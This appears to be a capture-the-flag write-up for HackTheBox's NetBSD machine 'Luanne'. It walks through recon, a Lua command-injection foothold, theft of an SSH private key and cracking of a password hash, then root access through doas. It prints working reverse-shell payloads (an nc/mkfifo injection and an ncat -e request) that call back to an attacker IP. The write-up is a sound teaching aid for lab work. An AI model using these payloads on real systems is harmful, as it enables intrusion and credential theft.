CyberSec Writeups

Red Team / Blue Team labs - HackTheBox, BlueTeamLabsOnline, TryHackMe, PortSwigger

HackTheBox: Luanne

netbsd lua command-injection example-credentials gnupg doas

Luannie is a NetBSD-based machine authored by polarbearer, with an average rating of 2.6 stars.

// Lessons Learned

// Recon

┌──(kali㉿kali)-[~/HTB/luanne]
└─$ nmap -A -p- luanne.htb                       
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-27 08:43 AEST
Nmap scan report for luanne.htb (10.10.10.218)
Host is up (0.020s latency).
Not shown: 65526 closed tcp ports (conn-refused)
PORT      STATE    SERVICE       VERSION
22/tcp    open     ssh           OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey: 
|   3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)
|   521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)
|_  256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)
80/tcp    open     http          nginx 1.19.0
| http-robots.txt: 1 disallowed entry 
|_/weather
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=.
|_http-title: 401 Unauthorized
|_http-server-header: nginx/1.19.0
2467/tcp  filtered high-criteria
3146/tcp  filtered bears-02
9001/tcp  open     http          Medusa httpd 1.12 (Supervisor process manager)
|_http-title: Error response
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=default
|_http-server-header: Medusa/1.12
12730/tcp filtered unknown
15302/tcp filtered unknown
46623/tcp filtered unknown
58080/tcp filtered unknown
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1602.03 seconds

Nmap confirms the target is running the following open services:

Several other ports are discovered in a filtered state, meaning we probably can’t make inroads through them at this stage. Both of the http servers have their homepages password protected, and trying to login with typical default credentials (admin / admin, admin / password) proves unsuccessful. The webserver running on port 80 does allow us to retrieve a /robots.txt file:

User-agent: *
Disallow: /weather  #returning 404 but still harvesting cities

Trying to visit the /weather url mentioned does indeed return a 404, but may prove relevant at a later stage. We can run some broad-scoped wordlists from SecLists against both webservers using gobuster, but neither of these turn up anything interesting:

┌──(kali㉿kali)-[~/github/danielmiessler/SecLists]
└─$ gobuster dir -u http://luanne.htb:9001/ -w Discovery/Web-Content/raft-medium-directories.txt -b 401
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://luanne.htb:9001/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes:   401
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/04/27 09:21:29 Starting gobuster in directory enumeration mode
===============================================================
                                 
===============================================================
2022/04/27 09:26:39 Finished
===============================================================

Searchsploit doesn’t return any results for the software versions identified so far (nginx 1.19.0, medusa 1.12). It’s always worth searching more broadly when this happens, and in this situation we discover an RCE (remote code execution) bug and proof-of-concept in Medusa httpd 1.12. Reading through the PoC, it looks like the exploit is achieved through command injection, by supplying a specially crafted input that escapes the server’s expected context, and enables execution of additional commands, in this case establishing a reverse shell. Unusually, the CVE attached to the exploit does mention that it is at RESERVED status, indicating that it may not have actually been published (and work) as described.

We could easily test out the script by downloading and running it, but an obvious problem is that the entire server looks to be password protected. Further research around Medusa Supervisor process manager indicates that this python-based webserver is often used as an interface to supervisor, a process monitoring system similar to launchd. There aren’t any default credentials associated with supervisor, but reading the configuration documentation provides an example for how to configure authentication:

[unix_http_server]
file = /tmp/supervisor.sock
chmod = 0777
chown= nobody:nogroup
username = user
password = 123

In the absence of default credentials, and prior to trying a brute-force approach, the next best thing is example credentials like these. In this case we can gain access to the server on port 9001 using user / 123:

We’re now able to test out the medusa exploit script, by making a small change to the code to include the necessary authentication header:

requests.post(full_url, files=files, headers={'Authorization':'Basic dXNlcjoxMjM='})

Despite having valid credentials, we still can’t establish a reverse shell as explained in the PoC. We can further edit the script to pass the request through Burp Proxy, to allow closer examination of what’s happening:

requests.post(full_url, files=files, headers={'Authorization':'Basic dXNlcjoxMjM='}, proxies={'http':'localhost:8080'})

While the captured request appears valid and well-formed:

POST /?pid=%7C%20ncat%20-e%20%2Fbin%2Fbash%2010.10.17.230%20443%20%23 HTTP/1.1
Host: luanne.htb:9001
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.23.0
Authorization: Basic dXNlcjoxMjM=
Content-Length: 166
Content-Type: multipart/form-data; boundary=d37da69df7088b8c6091a711c9d55db4

--d37da69df7088b8c6091a711c9d55db4
Content-Disposition: form-data; name="uploadedfile"; filename="medusa-exploit.txt"

111

--d37da69df7088b8c6091a711c9d55db4--

the result is still no shell. We can try editing the payload to contain a simple ping command back to our attack box, incase netcat or bash isn’t installed on the target, or aren’t compatible with the given syntax:

POST /?pid=%7c%20ping%2010.10.17.230%20%23 HTTP/1.1

Still, no luck. As initially suspected based on the CVE’s reserved status, it seems likely that this exploit was never fully weaponised.

Zooming back out, we can see at the bottom of the home page that Supervisor 4.2.0 is in use. Repeating our methodology of searching for known exploits, we discover an authenticated RCE module in Metasploit, but unfortunately it seems to only affect versions 3.0a1 to 3.3.2. Ignoring this and testing it anyway results in failure to execute, so it’s unlikely to be compatible.

So what does the UI itself offer us? Essentially we’re provided with tools to monitor and perform basic administration (restart & stop) on several running processes. The memory and uptime processes provide fairly routine / uninteresting output, but processes seems a little more interesting:

weather /home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_devel.pid -U r.michaels -b /home/r.michaels/devel/www 
_httpd      401  0.0  0.0  34956  2016 ?     Is   10:07PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www 
root        405  0.0  0.0  20216  1656 ?     Is   10:07PM 0:00.04 /usr/sbin/cron 
_httpd     5309  0.0  0.0  17676  1400 ?     O    11:53PM 0:00.01 /usr/bin/egrep ^USER| \\[system\\] *$| init *$| /usr/sbin/sshd *$| /usr/sbin/syslogd -s *$| /usr/pkg/bin/python3.8 /usr/pkg/bin/supervisord-3.8 *$| /usr/sbin/cron *$| /usr/sbin/powerd *$| /usr/libexec/httpd -u -X -s.*$|^root.* login *$| /usr/libexec/getty Pc ttyE.*$| nginx.*process.*$ 
root        217  0.0  0.0  20076  1588 ttyE1 Is+  10:07PM 0:00.01 /usr/libexec/getty Pc ttyE1 
root        388  0.0  0.0  19780  1580 ttyE2 Is+  10:07PM 0:00.01 /usr/libexec/getty Pc ttyE2 
root        435  0.0  0.0  19780  1580 ttyE3 Is+  10:07PM 0:00.01 /usr/libexec/getty Pc ttyE3

At the top of the output, we see that there is a process running as the weather user, which is executing a script at /home/r.michaels/devel/webapi/weather.lua. Lua is a popular embeddable scripting language, that supports a range of different programming paradigms. We know from our earlier reading of /robots.txt that the /weather url has been configured to only return a 404, but is “still harvesting cities”. This might mean that the page could behave differently if we send it something other than a straight GET request without parameters, but we would need to get a little lucky with the correct syntax, e.g:

// Initial Foothold

All of these combinations (and more) continue to return a 404 with identical page size, indicating they’re not triggering any kind of different behaviour in the server. Only after exhaustive testing (and an overnight break) did the idea of searching for more pages within /weather as a directory come to mind, this time using the rust-built and recursive-enabled feroxbuster:

┌──(kali㉿kali)-[~/github/danielmiessler/SecLists]
└─$ feroxbuster -u http://luanne.htb/weather -w Discovery/Web-Content/big.txt

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://luanne.htb/weather
 🚀  Threads               │ 50
 📖  Wordlist              │ Discovery/Web-Content/big.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.7.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET        1l       12w        0c http://luanne.htb/weather/forecast
[####################] - 9s     20477/20477   0s      found:1       errors:0      
[####################] - 8s     20477/20477   2432/s  http://luanne.htb/weather

This gives us a new endpoint, /weather/forecast, which returns a welcome HTTP 200 status code and an interesting JSON object:

{"code": 200, "message": "No city specified. Use 'city=list' to list available cities."}

Requesting /weather/forecast?city=list as suggested does return a list of valid cities:

{"code": 200,"cities": ["London","Manchester","Birmingham","Leeds","Glasgow","Southampton","Liverpool","Newcastle","Nottingham","Sheffield","Bristol","Belfast","Leicester"]}

And requesting any of these e.g. /weather/forecast?city=London returns a payload of weather readings for that city:

{
  "code": 200,
  "city": "London",
  "list": [
    {
      "date": "2022-04-28",
      "weather": {
        "description": "snowy",
        "temperature": {
          "min": "12",
          "max": "46"
        },
        "pressure": "1799",
        "humidity": "92",
        "wind": {
          "speed": "2.1975513692014",
          "degree": "102.76822959445"
        }
      }
    },
    ...
  ]
}

From an application security perspective, a possible vulnerability in this page could be in the form of injection. This can come in several forms, for example SQL injection, code injection, or command injection. Like most scripting languages, Lua is known to be vulnerable to all of these if not used correctly. After noodling around with several different payloads, we get a response that indicates this page is vulnerable:

// Request
GET /weather/forecast?city=London');os.execute('whoami');--

// Response
{"code": 500,"error": "unknown city: London_httpd

Essentialy we’ve crafted a payload that terminates the expected context of the input (');) and then executes a command of our choosing (os.execute('whoami');). The trailing -- serves as a comment break, to nullify any remaining code in the script (without this, the request returns a lua syntax error). The response, London_httpd, indicates that the server is running as _httpd and we can execute code. Turning this into a reverse shell took a little work due to several factors (NetBSD uses the same version of netcat as OpenBSD, which does not support the -e flag, and there is also no PATH environment variable set) but eventually this reqeuest gets us there:

// On attack box
nc -lvnp 443
listening on [any] 443 ...

// On target
GET /weather/forecast?city=London');os.execute('rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|/usr/bin/nc+10.10.17.230+443+>/tmp/f');--

// Back on attack box
connect to [10.10.17.230] from (UNKNOWN) [10.10.10.218] 65423
sh: can't access tty; job control turned off
$ id
uid=24(_httpd) gid=24(_httpd) groups=24(_httpd)

We now have a shell as the _httpd user. Some quick manual enumeration reveals:

$ nc localhost 3000

HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 0
Server: bozohttpd/20190228

Bozohttp is a very lightweight web-server, so lightweight that it even has no configuration file! This explains the very long list of arguments seen in the supervisor output for processes:

/usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www 

In this situation, these arguments need to be viewed with the same potential significance as a configuration file. The bozohttpd manual indicates the used options have the following effect:

Of these, the -u switch is really the only option that might reveal new content. Since we can’t access the webserver from the outside, we’ll have to use a tool like curl on the target to make the requests. We know from browsing /home there is a r.michaels user, meaning if there is a /home/r.michaels/public_html folder, it should be available at /~r.michaels/:

$ curl http://localhost:3001/~r.michaels/                                                            
<html><head><title>401 Unauthorized</title></head>
<body><h1>401 Unauthorized</h1>
~r.michaels//: <pre>No authorization</pre>
<hr><address><a href="//localhost:3001/">localhost:3001</a></address>
</body></html>

We have the credentials retrieved from the webserver running in /var/www, so it’s possible they may work here too:

$ curl -H 'Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==' http://localhost:3001/~r.michaels/
<!DOCTYPE html>
<html><head><meta charset="utf-8"/>
<style type="text/css">
table {
        border-top: 1px solid black;
        border-bottom: 1px solid black;
}
th { background: aquamarine; }
tr:nth-child(even) { background: lavender; }
</style>
<title>Index of ~r.michaels/</title></head>
<body><h1>Index of ~r.michaels/</h1>
<table cols=3>
<thead>
<tr><th>Name<th>Last modified<th align=right>Size
<tbody>
<tr><td><a href="../">Parent Directory</a><td>03-May-2022 23:34<td align=right>1kB
<tr><td><a href="id_rsa">id_rsa</a><td>16-Sep-2020 16:52<td align=right>3kB
</table>
</body></html>

This reveals a id_rsa file in the directory, which is usually associated with password-less ssh login. We can issue another curl request to download the file:

$ curl -H 'Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==' http://localhost:3001/~r.michaels/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAvXxJBbm4VKcT2HABKV2Kzh9GcatzEJRyvv4AAalt349ncfDkMfFB
Icxo9PpLUYzecwdU3LqJlzjFga3kG7VdSEWm+C1fiI4LRwv/iRKyPPvFGTVWvxDXFTKWXh
0DpaB9XVjggYHMr0dbYcSF2V5GMfIyxHQ8vGAE+QeW9I0Z2nl54ar/I/j7c87SY59uRnHQ
kzRXevtPSUXxytfuHYr1Ie1YpGpdKqYrYjevaQR5CAFdXPobMSxpNxFnPyyTFhAbzQuchD
ryXEuMkQOxsqeavnzonomJSuJMIh4ym7NkfQ3eKaPdwbwpiLMZoNReUkBqvsvSBpANVuyK
BNUj4JWjBpo85lrGqB+NG2MuySTtfS8lXwDvNtk/DB3ZSg5OFoL0LKZeCeaE6vXQR5h9t8
3CEdSO8yVrcYMPlzVRBcHp00DdLk4cCtqj+diZmR8MrXokSR8y5XqD3/IdH5+zj1BTHZXE
pXXqVFFB7Jae+LtuZ3XTESrVnpvBY48YRkQXAmMVAAAFkBjYH6gY2B+oAAAAB3NzaC1yc2
EAAAGBAL18SQW5uFSnE9hwASldis4fRnGrcxCUcr7+AAGpbd+PZ3Hw5DHxQSHMaPT6S1GM
...

then save that key to a r.michaels.key file, and try to ssh in with it:

┌──(kali㉿kali)-[~/HTB/luanne]
└─$ ssh r.michaels@luanne.htb -i r.michaels.key 
Last login: Tue May  3 22:12:25 2022 from 10.10.17.230
NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020

Welcome to NetBSD!

From here, we find the user key in the usual location:

luanne$ cat user.txt
ea5f0***************************

// Privilege Escalation

Starting with some manual enumeration, we find a number of files / folders in the r.michaels home directory:

GnuPG is a free implementation of the OpenPGP (Pretty Good Privacy) standard, offering the usual asymmetric public / private key model. Some research indicates it can easily be used to encrypt & decrypt files, so it’s worth testing out against the encrypted archive we discovered earlier. On NetBSD, the binary is available as netpgp:

luanne$ netpgp --decrypt --output=/tmp/decrypted.tar.gz ./backups/devel_backup-2020-09-16.tar.gz.enc
signature  2048/RSA (Encrypt or Sign) 3684eb1e5ded454a 2020-09-14 
Key fingerprint: 027a 3243 0691 2e46 0c29 9f46 3684 eb1e 5ded 454a 
uid              RSA 2048-bit key <r.michaels@localhost>

The archive is decrypted! Now we just have to decompress & untar it:

luanne$ tar -xzvf /tmp/decrypted.tar.gz             
x devel-2020-09-16/
x devel-2020-09-16/www/
x devel-2020-09-16/webapi/
x devel-2020-09-16/webapi/weather.lua
x devel-2020-09-16/www/index.html
x devel-2020-09-16/www/.htpasswd

It looks like a backup copy of the site. We can scan for differences in each file using diff, which eventually reveals the following change:

luanne$ diff -u ./devel-2020-09-16/www/.htpasswd /home/r.michaels/devel/www/.htpasswd  
--- ./devel-2020-09-16/www/.htpasswd    2020-09-16 18:14:17.000000000 +0000
+++ /home/r.michaels/devel/www/.htpasswd        2020-09-16 18:15:35.041540230 +0000
@@ -1 +1 @@
-webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.
+webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0

It looks like the password for webapi_user was changed. Running the hash through hashcat as before quickly reveals the old password:

$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.:littlebear

We can check which (if any) of these passwords belongs to the r.michaels account, by running the passwd command:

luanne$ passwd
Changing password for r.michaels.
Old Password: iamthebest
Unable to change auth token: Permission denied

luanne$ passwd
Changing password for r.michaels.
Old Password: littlebear
New Password:

We now have the ssh password. Typically this might be used to check for sudo privileges at this point, but running the usual command to enumerate this returns an error:

luanne$ sudo -l
ksh: sudo: not found

Some quick Googling reveals that BSD-based systems (FreeBSD, OpenBSD and NetBSD) sometimes use an alternative implementation of this concept, known as doas. The command to spawn a privileged shell is as follows:

luanne$ doas -s
Password: littlebear
# id
uid=0(root) gid=0(wheel) groups=0(wheel),2(kmem),3(sys),4(tty),5(operator),20(staff),31(guest),34(nvmm)

In effect, the r.michaels user has been granted full sudo privileges (through doas). With a privileged shell, we can navigate to the /root folder and retrieve the root key:

# cd /root
# cat root.txt
7a9b5***************************